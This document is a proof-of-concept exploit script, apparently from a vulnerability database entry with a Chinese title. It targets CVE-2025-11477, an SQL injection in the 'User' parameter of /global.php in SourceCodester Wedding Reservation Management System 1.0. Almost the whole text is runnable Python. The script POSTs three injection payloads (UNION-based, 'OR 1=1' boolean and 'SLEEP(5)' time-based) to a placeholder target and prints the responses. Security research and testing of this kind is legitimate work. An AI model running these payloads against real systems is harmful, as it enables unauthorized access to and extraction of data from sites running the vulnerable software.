CVE-2025-11477 SourceCodester婚宴预订管理系统SQL注入漏洞

# CVE-2025-11477 - SourceCodester Wedding Reservation Management System 1.0 # SQL Injection PoC via User parameter in /global.php # Author: Security Researcher import requests # Target configuration TARGET_URL = "http://target-site.com/global.php" # SQL Injection payload targeting the User parameter # This payload attempts to extract database information via UNION-based injection payload = { "User": "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" } # Alternative boolean-based blind injection payload blind_payload = { "User": "' OR 1=1-- -" } # Time-based blind injection payload time_based_payload = { "User": "' OR SLEEP(5)-- -" } def exploit_sql_injection(url, data): """ Send the SQL injection payload to the target server """ try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request successful") print(f"[+] Response length: {len(response.text)}") print(f"[+] Response preview: {response.text[:500]}") return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None # Execute the exploit if __name__ == "__main__": print("[*] CVE-2025-11477 SQL Injection PoC") print(f"[*] Target: {TARGET_URL}") print("[*] Attempting UNION-based injection...") result = exploit_sql_injection(TARGET_URL, payload) if result: print("[*] Attempting boolean-based blind injection...") exploit_sql_injection(TARGET_URL, blind_payload) print("[*] Attempting time-based blind injection...") exploit_sql_injection(TARGET_URL, time_based_payload)